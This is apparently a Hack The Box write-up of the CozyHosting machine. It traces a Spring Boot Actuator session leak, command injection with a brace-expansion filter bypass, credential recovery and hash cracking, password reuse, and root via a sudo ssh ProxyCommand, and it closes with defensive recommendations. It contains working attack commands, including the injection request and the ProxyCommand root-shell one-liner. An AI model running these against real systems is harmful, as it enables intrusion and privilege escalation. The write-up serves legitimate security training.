CozyHosting — Actuator Session Leak and sudo ssh ProxyCommand Escalation
- Tools
- rustscan, feroxbuster, curl, 7z, psql, hashcat, ssh, sudo
- Skill demonstrated
- Spring Boot Actuator abuse and Linux privilege escalation via a sudo ssh rule
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Easy |
| Target environment | Linux (Ubuntu) — nginx reverse proxy in front of a Spring Boot application |
| Starting position | Unauthenticated network access |
| Objective | Escalate from an exposed Spring Boot Actuator endpoint to root through command injection and a sudo ssh rule |
| Outcome | Admin-panel access via a leaked session, command-injection shell as the application service user, SSH access through a reused credential, and root via ssh ProxyCommand |
Summary
Section titled “Summary”CozyHosting is an Easy Hack The Box Linux machine running a Spring Boot web application behind nginx. Enumeration exposed Spring Boot Actuator endpoints, including /actuator/sessions, which leaked an authenticated session for <APPLICATION_USER>. The admin panel’s SSH connection feature passed the username parameter into a shell command, giving command injection; a whitespace filter was bypassed with bash brace expansion to land a foothold as the application service user. The deployed Spring Boot JAR contained cleartext PostgreSQL credentials, whose users table held bcrypt hashes; cracking the administrative hash recovered a password reused for the local <LOCAL_USER> account. Privilege escalation abused a sudo rule allowing <LOCAL_USER> to run /usr/bin/ssh as root and used ProxyCommand to spawn a root shell. Target-specific values, credentials, and hashes are replaced with role-based placeholders; command syntax is preserved.
Attack path: Spring Boot Actuator session leak → admin panel access → command injection in the SSH feature → application-service-user shell → JAR and PostgreSQL credential recovery → bcrypt hash crack → password reuse for SSH access as <LOCAL_USER> → sudo /usr/bin/ssh ProxyCommand → root
Context and Objective
Section titled “Context and Objective”- Target: Linux (Ubuntu) host running nginx as a reverse proxy to a Spring Boot application.
- Exposed services: SSH (22) and HTTP (80).
- Starting position: unauthenticated network access, with no provided credentials.
- Objective: move from the exposed web application to user- and root-level access, and demonstrate the impact of the exposure chain.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Service Enumeration
Section titled “1. Service Enumeration”Observation: a full port scan identifies two services and the web tier’s technology.
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN <SCAN_OUTPUT>PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.380/tcp open http nginx 1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://<TARGET_VHOST>Significance: the HTTP service redirects to a virtual host, so content discovery requires the hostname to resolve locally; SSH is the eventual interactive shell service.
Result: SSH and an nginx-fronted web service are exposed.
2. Web Enumeration and Actuator Discovery
Section titled “2. Web Enumeration and Actuator Discovery”Observation: directory enumeration first exposes a login page and, with a second wordlist, a Spring Boot Actuator endpoint.
feroxbuster --url http://<TARGET_VHOST> --wordlist <WORDLIST>200 GET 1l 1w 634c http://<TARGET_VHOST>/actuatorSignificance: Spring Boot Actuator endpoints expose operational information, so the management surface of a Spring Boot deployment is a priority target.
Result: the /actuator endpoint is reachable without authentication.
3. Session Leak via Actuator
Section titled “3. Session Leak via Actuator”Observation: the Actuator sessions endpoint exposes active HTTP sessions.
curl -s http://<TARGET_VHOST>/actuator/sessions{"<SESSION_ID>":"<APPLICATION_USER>"}Significance: an active session identifier and its owning account leak in cleartext; replaying the identifier as the JSESSIONID cookie authenticates as that user.
Result: authenticated access to the admin panel as <APPLICATION_USER> with the leaked session cookie.
4. Command Injection in the SSH Feature
Section titled “4. Command Injection in the SSH Feature”Observation: the admin panel’s SSH connection feature builds a shell command from host and username, and a trailing ; in username reaches the shell.
POST /executessh HTTP/1.1Host: <TARGET_VHOST>Cookie: JSESSIONID=<SESSION_ID>Content-Type: application/x-www-form-urlencoded
host=<ATTACKER_IP>&username=;HTTP/1.1 302Location: http://<TARGET_VHOST>/admin?error=usage: ssh [...]/bin/bash: line 1: @<ATTACKER_IP>: command not foundSignificance: the redirected response reflects shell output inside the error parameter, confirming that attacker-controlled input reaches a shell command.
Result: command injection is confirmed, but a payload containing spaces is rejected by a filter.
Username can't contain whitespaces!Bash brace expansion supplies separated arguments without literal spaces, so the same parameter executes commands past the filter.
host=<ATTACKER_IP>&username=;<COMMAND_INJECTION_PATTERN>Significance: brace expansion ({cmd,arg1,arg2}) produces a command line with arguments but no whitespace characters, so a whitespace-only filter provides no protection.
Result: a reverse shell is received as the application service user.
<APPLICATION_SERVICE_USER>@<TARGET_HOST>:<APPLICATION_DIRECTORY>$ whoami<APPLICATION_SERVICE_USER>5. Credential Extraction and Lateral Movement
Section titled “5. Credential Extraction and Lateral Movement”Observation: the application directory holds the deployed Spring Boot JAR.
<APPLICATION_SERVICE_USER>@<TARGET_HOST>:<APPLICATION_DIRECTORY>$ lscloudhosting-0.0.1.jar7z x cloudhosting-0.0.1.jar -o./cloudhosting_extractedcat cloudhosting_extracted/BOOT-INF/classes/application.propertiesspring.datasource.url=jdbc:postgresql://<DATABASE_HOST>:<DATABASE_PORT>/<DATABASE_NAME>spring.datasource.username=<DATABASE_USER>spring.datasource.password=<DB_PASSWORD>Significance: configuration inside a deployable artifact stores database credentials in cleartext, so any process that can read the JAR recovers them.
Result: PostgreSQL credentials are recovered from the packaged configuration. Querying the users table returns bcrypt hashes.
SELECT * FROM users;<APPLICATION_USER> | <BCRYPT_HASH_1> | User<APPLICATION_ADMIN> | <BCRYPT_HASH_2> | AdminObservation: the stored hashes are bcrypt, which is slow to brute force but crackable offline against a wordlist.
hashcat -m 3200 '<BCRYPT_HASH_2>' <WORDLIST> -D 2Result: the administrative hash is cracked offline. The recovered password value is not reproduced.
Observation: the recovered password is reused for the local <LOCAL_USER> account, and SSH accepts it.
ssh <LOCAL_USER>@<TARGET_HOST>Significance: reuse of a recovered application password for a system account turns a database disclosure into host access.
Result: SSH access as <LOCAL_USER> is established with the reused password.
6. Privilege Escalation via sudo ssh ProxyCommand
Section titled “6. Privilege Escalation via sudo ssh ProxyCommand”Observation: <LOCAL_USER> may run the OpenSSH client as root with arbitrary arguments.
sudo -lUser <LOCAL_USER> may run the following commands on <TARGET_HOST>: (root) /usr/bin/ssh *Significance: the wildcard grants arbitrary OpenSSH options. ProxyCommand executes a local helper command to establish the connection, and because sudo runs ssh as root, that helper executes with root privileges.
Result: the rule is abused to run a helper command as root.
sudo /usr/bin/ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x# whoamirootChallenges and Decisions
Section titled “Challenges and Decisions”- The
usernameparameter rejected whitespace. Bash brace expansion ({cmd,arg1,arg2}) supplied separated arguments without literal spaces, bypassing the filter. - The admin panel trusted user-controlled input inside a shell command; the whitespace filter alone was insufficient to prevent injection.
Outcome
Section titled “Outcome”The evidence establishes full compromise from unauthenticated web access to root command execution. Two transitions are documented results rather than captured command output: admin-panel access using the leaked session, and SSH access as <LOCAL_USER> using the recovered password.
Lessons and Recommendations
Section titled “Lessons and Recommendations”The actions below are recommendations; none was validated in the lab.
- Unauthenticated Actuator exposure. Management endpoints reachable without authentication let an unauthenticated party read an active session identifier and account from
/actuator/sessions. Recommendation: keep Actuator off untrusted networks, restrict it with network controls, and disable or securesessionsand other sensitive endpoints in production. Detection: alert on requests to management/actuatorpaths from outside expected hosts. - Command injection in the SSH feature. User-controlled input reached a shell command, and a whitespace filter failed because bash brace expansion passes arguments without literal spaces. Recommendation: never build shell commands from user input; use parameterized APIs or strict allow-listing of host and user values. Detection: alert on shell metacharacters (
;,{,}) in SSH-feature parameters. - Secrets in deployable artifacts. The Spring Boot JAR embedded cleartext PostgreSQL credentials in
application.properties, recoverable by any process able to read the artifact. Recommendation: keep secrets out of build artifacts and inject them at runtime from environment variables or a secrets manager. - Password reuse across trust boundaries. A cracked application hash reused for a local system account enabled host access. Recommendation: enforce unique credentials per service and account boundary, and rotate application and system credentials independently. Detection: correlate application account names against local OS accounts during review.
- Sudo rule for a flexible binary. Permitting
<LOCAL_USER>to run/usr/bin/sshas root with a wildcard grants arbitrary argument control, andProxyCommandexecutes a helper command as root. Recommendation: scope sudo rules to specific commands and argument patterns, and treat any wildcard rule for a command-capable binary such as/usr/bin/ssh *as equivalent to root. Detection: audit sudoers for wildcard rules on interpreters, shells, or tunnel-capable clients.
References
Section titled “References”- Hack The Box — CozyHosting (retired machine)
- Spring Boot Actuator endpoints (Spring Boot reference)
- RustScan (fast TCP port scanner)
- feroxbuster (content discovery)
- hashcat (offline hash cracking)
- psql — PostgreSQL interactive terminal (PostgreSQL documentation)
- 7-Zip (archive and JAR extraction)
- ssh_config(5) — OpenBSD manual (
ProxyCommandbehavior) - GTFOBins — ssh (documented sudo escalation via
ProxyCommand) - sudoers manual (Sudo Project) (command and argument matching)
- Nmap Reference Guide